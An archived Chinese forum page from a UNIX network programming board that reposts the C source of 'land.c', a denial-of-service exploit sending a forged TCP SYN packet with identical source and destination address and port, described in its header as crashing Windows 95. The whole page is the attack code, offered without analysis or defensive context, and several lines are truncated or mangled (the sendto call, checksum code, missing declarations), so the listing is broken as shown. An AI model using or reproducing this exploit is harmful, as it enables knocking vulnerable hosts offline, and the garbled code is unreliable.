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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="343.htm">上一层</a>][<a href="358.htm">下一篇</a>]
<hr><p align="left"><small>/* land.c by m3lt, FLC <br>
<br>
crashes a win95 box <br>
<br>
Ported by blast and jerm to 44BSD <br>
<br>
Ported by ziro antagonist to Solaris 2.5*/ <br>
<br>
<br>
<br>
#include <signal.h> <br>
<br>
#include <stdio.h> <br>
<br>
#include <stdlib.h> <br>
<br>
#include <netdb.h> <br>
<br>
#include <sys/socket.h> <br>
<br>
#include <sys/types.h> <br>
<br>
#include <netinet/in.h> <br>
<br>
#include <netinet/in_systm.h> <br>
<br>
#include <netinet/ip.h> <br>
<br>
#include <netinet/tcp.h> <br>
<br>
#include <netinet/ip_icmp.h> <br>
<br>
#include <ctype.h> <br>
<br>
#include <arpa/inet.h> <br>
<br>
#include <unistd.h> <br>
<br>
#include <string.h> <br>
<br>
#include <errno.h> <br>
<br>
<br>
<br>
<br>
<br>
<br>
/* #include <netinet/ip_tcp.h> */ <br>
<br>
/* #include <netinet/protocols.h> */ <br>
<br>
<br>
<br>
/* <br>
<br>
struct pseudohdr <br>
<br>
{ <br>
<br>
struct in_addr saddr; <br>
<br>
struct in_addr daddr; <br>
<br>
u_char zero; <br>
<br>
u_char protocol; <br>
<br>
u_short length; <br>
<br>
struct tcphdr tcpheader; <br>
<br>
}; <br>
<br>
<br>
<br>
u_short checksum(u_short * data,u_short length) <br>
<br>
{ <br>
<br>
register long value; <br>
<br>
u_short i; <br>
<br>
<br>
<br>
for(i=0;i<(length>>1);i++) <br>
<br>
value+=data[i]; <br>
<br>
<br>
<br>
<br>
if((length&1)==1) <br>
<br>
value+=(data[i]<<8); <br>
<br>
<br>
<br>
value=(value&65535)+(value>>16); <br>
<br>
<br>
<br>
return(~value); <br>
<br>
} <br>
<br>
*/ <br>
<br>
<br>
<br>
int main(int argc,char * * argv) <br>
<br>
{ <br>
{ <br>
<br>
struct sockaddr_in sin; <br>
<br>
struct hostent * hoste; <br>
<br>
int sock,foo; <br>
<br>
char buffer[40]; <br>
<br>
struct ip * ipheader=(struct ip *) buffer; <br>
<br>
if((sin.sin_port=htons(atoi(argv[2])))==0) <br>
<br>
{ <br>
<br>
fprintf(stderr,"unknown port %s\n",argv[2]); <br>
<br>
return(-1); <br>
<br>
} <br>
<br>
<br>
<br>
<br>
if((sock=socket(AF_INET,SOCK_RAW,255))==-1) <br>
<br>
{ <br>
<br>
fprintf(stderr,"couldn't allocate raw socket\n"); <br>
<br>
return(-1); <br>
<br>
} <br>
<br>
<br>
<br>
foo=1; <br>
<br>
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) <br>
<br>
{ <br>
<br>
fprintf(stderr,"couldn't set raw header on socket\n"); <br>
<br>
return(-1); <br>
<br>
} <br>
<br>
<br>
<br>
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); <br>
<br>
ipheader->ip_v=4; <br>
<br>
ipheader->ip_hl=sizeof(struct ip)/4; <br>
<br>
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); <br>
<br>
ipheader->ip_id=htons(0xF1C); <br>
<br>
ipheader->ip_ttl=255; <br>
<br>
ipheader->ip_p=IPPROTO_TCP; <br>
<br>
ipheader->ip_src=sin.sin_addr; <br>
<br>
ipheader->ip_dst=sin.sin_addr; <br>
<br>
<br>
<br>
tcpheader->th_sport=sin.sin_port; <br>
<br>
tcpheader->th_dport=sin.sin_port; <br>
<br>
tcpheader->th_seq=htonl(0xF1C); <br>
<br>
tcpheader->th_flags=TH_SYN; <br>
<br>
tcpheader->th_off=sizeof(struct tcphdr)/4; <br>
<br>
tcpheader->th_win=htons(2048); <br>
<br>
tcpheader->th_sum=20; <br>
<br>
<br>
<br>
/* <br>
<br>
bzero(&pseudoheader,12+sizeof(struct tcphdr)); <br>
<br>
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; <br>
<br>
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; <br>
<br>
pseudoheader.protocol=6; <br>
<br>
pseudoheader.length=htons(sizeof(struct tcphdr)); <br>
<br>
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct <br>
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcp <br>
iphdr)) <br>
*/ <br>
<br>
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct <br>
{ <br>
fprintf(stderr,"couldn't send packet,%d\n",errno); <br>
return(-1); <br>
} <br>
<br>
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); <br>
<br>
close(sock); <br>
return(0); <br>
} <br>
<br>
<br>
-- <br>
</small><hr>
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